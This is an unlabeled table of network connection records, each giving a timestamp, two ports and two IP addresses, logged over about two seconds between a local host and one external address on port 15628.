Jul 20, 2024 16:15:21.373800993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.378870010 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.378998041 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.384047985 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.384238005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.390187025 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.391668081 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.397552013 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.397615910 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.403076887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.403145075 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.420216084 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.421124935 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.426172972 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.426306963 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.431284904 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.431360006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.436278105 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.436361074 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.443706036 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.443784952 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.449040890 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.449119091 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.454169035 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.454241037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.459311008 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.459379911 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.464320898 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.464402914 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.469484091 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.470061064 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.475430965 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.475502968 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.481416941 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.481591940 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.488200903 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.488385916 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.493570089 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.493726969 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.498600960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.498675108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.503954887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.505523920 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.510906935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.513564110 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.519901037 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.519983053 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.525002003 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.525182009 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.530812979 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.530880928 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.536045074 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.536112070 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.540942907 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.541007042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.545912981 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.546147108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.551065922 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.570504904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.577389002 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.577575922 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.582860947 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.582937002 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.587918043 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.587992907 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.619699955 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.646761894 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.646876097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.653490067 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.653935909 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.658951044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.659033060 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.664150953 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.664254904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.669253111 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.669327021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.674211979 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.674300909 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.680397034 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.680485010 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.686146975 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.686239958 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.692327023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.692408085 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.699037075 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.699140072 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.704251051 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.704360008 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.735171080 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.735975027 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.736049891 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.740756035 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.740847111 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.750763893 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.750864029 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.756247997 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.756346941 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.764049053 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.764137983 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.769126892 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.769229889 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.774234056 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.774306059 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.779673100 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.779750109 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.784640074 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.784733057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.789812088 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.789886951 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.797929049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.798011065 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.829950094 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.833268881 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.833369970 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.844590902 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.844710112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.850784063 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.850857973 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.856579065 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.856729031 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.861989975 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.862061024 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.867073059 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.867156029 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.872193098 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.872275114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.877332926 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.877410889 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.883354902 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.883430958 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.890279055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.890357971 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.896449089 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.896534920 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.901487112 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.901602030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.907190084 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.907269001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.912708044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.912798882 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.917882919 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.918248892 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.923810005 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.923885107 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.930011034 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.930085897 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.937175989 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.937259912 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.942251921 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.942358971 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.947278976 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.947352886 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.952817917 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.952902079 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.959116936 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.959208012 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.964329958 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.964422941 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.969489098 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.969800949 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.974756956 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.974847078 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.979801893 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.979887962 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.985874891 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.985946894 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.991208076 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.991267920 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:21.996232033 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:21.996294975 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.004162073 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.004223108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.009301901 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.009372950 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.014688969 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.014750004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.022296906 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.022355080 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.029690027 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.029752970 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.039391994 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.039458990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.044439077 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.046572924 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.051907063 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.051975012 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.057095051 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.068072081 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.073426962 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.073487043 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.078881979 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.078943014 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.084534883 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.084599972 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.089597940 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.089658022 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.094712973 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.095139027 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.100563049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.105293989 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.110258102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.110316038 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.115722895 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.115923882 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.129698038 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.130568027 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.141217947 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.141271114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.146905899 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.146960020 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.152808905 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.415400028 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.422096968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.571640968 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.576806068 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.576863050 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.581799984 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.581857920 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.586782932 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.586837053 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.591703892 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.591762066 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.597289085 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.597349882 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.602878094 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.602941990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.607846022 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.607927084 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.613003969 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.613059998 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.618652105 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.618715048 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.624018908 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.624075890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.629250050 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.629303932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.634119034 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.634166956 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.640908957 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.641033888 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.645942926 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.646002054 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.651892900 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.651943922 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.680581093 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.680661917 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.698489904 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.698565006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.706840038 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.706899881 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.713967085 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.714014053 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.720035076 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.720088959 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.725152016 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.725193977 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.731494904 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.731544018 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.736624002 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.736673117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.742000103 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.742103100 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.747144938 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.747203112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.752294064 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.752341986 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.757249117 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.757313967 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.762268066 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.762336969 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.774321079 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.774393082 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.779509068 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.779572010 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.784874916 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.784941912 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.790013075 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.790070057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.796034098 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.796097994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.803093910 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.803155899 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.808351994 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.808408976 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.813254118 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.813313961 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.818181038 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.818229914 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.823256969 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.823374033 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.828238964 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.828294992 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.833332062 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.833384037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.838658094 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.838713884 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.844621897 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.844675064 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.852513075 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.852586985 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.857701063 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.857763052 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.863970041 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.864032984 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.869213104 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.869263887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.874324083 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.896864891 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.901742935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.901799917 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.906934977 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.906994104 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.911876917 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.911931992 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.917259932 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.917311907 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.923182964 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.923238039 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.929694891 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.929748058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.935396910 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.935446978 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.942663908 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.944581032 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.949809074 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.949852943 CEST	49709	15628	192.168.2.5	154.204.0.5
